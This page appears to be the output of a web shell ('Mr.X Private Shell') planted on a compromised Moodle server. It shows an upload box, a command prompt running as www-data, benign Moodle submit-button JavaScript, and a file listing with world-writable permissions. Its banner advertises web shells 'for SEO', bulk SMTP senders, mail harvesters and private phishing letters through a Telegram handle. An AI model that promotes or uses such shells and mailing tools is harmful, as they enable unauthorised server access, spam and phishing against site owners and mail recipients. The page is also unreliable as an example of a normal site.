__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Submit button JavaScript. All submit buttons will be automatically disabled once the form is
 * submitted, unless that submission results in an error/cancelling the submit.
 *
 * @module core_form/submit
 * @copyright 2019 The Open University
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since 3.8
 */

import {eventTypes} from 'core_form/events';

/** @property {number} ID for setInterval used when polling for download cookie */
let cookieListener = 0;

/** @property {Array} Array of buttons that need re-enabling if we get a download cookie */
const cookieListeningButtons = [];

/** @property {number} Number of files uploading. */
let currentUploadCount = 0;

/** @property {Array} Array of buttons that need re-enabling if we get a upload process. */
const uploadListeningButtons = [];

/** @property {Boolean} Is upload listeners registered? */
let uploadListenersRegistered = false;

/**
 * Listens in case a download cookie is provided.
 *
 * This function is used to detect file downloads. If there is a file download then we get a
 * beforeunload event, but the page is never unloaded and when the file download completes we
 * should re-enable the buttons. We detect this by watching for a specific cookie.
 *
 * PHP function \core_form\util::form_download_complete() can be used to send this cookie.
 *
 * @param {HTMLElement} button Button to re-enable
 */
const listenForDownloadCookie = (button) => {
    cookieListeningButtons.push(button);
    if (!cookieListener) {
        cookieListener = setInterval(() => {
            // Look for cookie.
            const parts = document.cookie.split(getCookieName() + '=');
            if (parts.length == 2) {
                // We found the cookie, so the file is ready. Expire the cookie and cancel polling.
                clearDownloadCookie();
                clearInterval(cookieListener);
                cookieListener = 0;

                // Re-enable all the buttons.
                cookieListeningButtons.forEach((button) => {
                    button.disabled = false;
                });
            }
        }, 500);
    }
};

/**
 * Gets a unique name for the download cookie.
 *
 * @returns {string} Cookie name
 */
const getCookieName = () => {
    return 'moodledownload_' + M.cfg.sesskey;
};

/**
 * Clears the download cookie if there is one.
 */
const clearDownloadCookie = () => {
    document.cookie = encodeURIComponent(getCookieName()) + '=deleted; expires=' + new Date(0).toUTCString();
};

/**
 * Enable submit buttons when all files are uploaded.
 */
const checkUploadCount = () => {
    if (currentUploadCount) {
        uploadListeningButtons.forEach(button => {
            button.disabled = true;
        });
    } else {
        uploadListeningButtons.forEach(button => {
            button.disabled = false;
        });
    }
};

/**
 * Initialises submit buttons.
 *
 * @param {String} elementId Form button element
 * @listens event:uploadStarted
 * @listens event:uploadCompleted
 */
export const init = (elementId) => {
    const button = document.getElementById(elementId);
    if (button === null) {
        // Exit early if invalid element id passed.
        return;
    }

    // If buttons are disabled by default, we do not enable them when file upload completed event is fired.
    if (!button.disabled) {
        uploadListeningButtons.push(button);
    }

    if (!uploadListenersRegistered) {
        // Add event listener for file upload start.
        document.addEventListener(eventTypes.uploadStarted, () => {
            currentUploadCount++;
            checkUploadCount();
        });

        // Add event listener for file upload complete.
        document.addEventListener(eventTypes.uploadCompleted, () => {
            currentUploadCount--;
            checkUploadCount();
        });
        uploadListenersRegistered = true;
    }

    // If the form has double submit protection disabled, do nothing.
    if (button.form.dataset.doubleSubmitProtection === 'off') {
        return;
    }
    button.form.addEventListener('submit', function(event) {
        // Only disable it if the browser is really going to another page as a result of the
        // submit.
        const disableAction = function() {
            // If the submit was cancelled, or the button is already disabled, don't do anything.
            if (event.defaultPrevented || button.disabled) {
                return;
            }

            button.disabled = true;
            clearDownloadCookie();
            listenForDownloadCookie(button);
        };
        window.addEventListener('beforeunload', disableAction);
        // If there is no beforeunload event as a result of this form submit, then the form
        // submit must have been cancelled, so don't disable the button if the page is
        // unloaded later.
        setTimeout(function() {
            window.removeEventListener('beforeunload', disableAction);
        }, 1);
    }, false);
};

Filemanager

Name Type Size Permission Actions
changechecker.js File 14.04 KB 0777
choicedropdown.js File 5.06 KB 0777
collapsesections.js File 4.07 KB 0777
configtext_maxlength.js File 4.43 KB 0777
defaultcustom.js File 2.34 KB 0777
dynamicform.js File 13.08 KB 0777
encryptedpassword.js File 3.53 KB 0777
events.js File 8.81 KB 0777
filetypes.js File 10.89 KB 0777
modalform.js File 16 KB 0777
passwordunmask.js File 10.17 KB 0777
showadvanced.js File 7.8 KB 0777
submit.js File 5.55 KB 0777
util.js File 1.26 KB 0777
Filemanager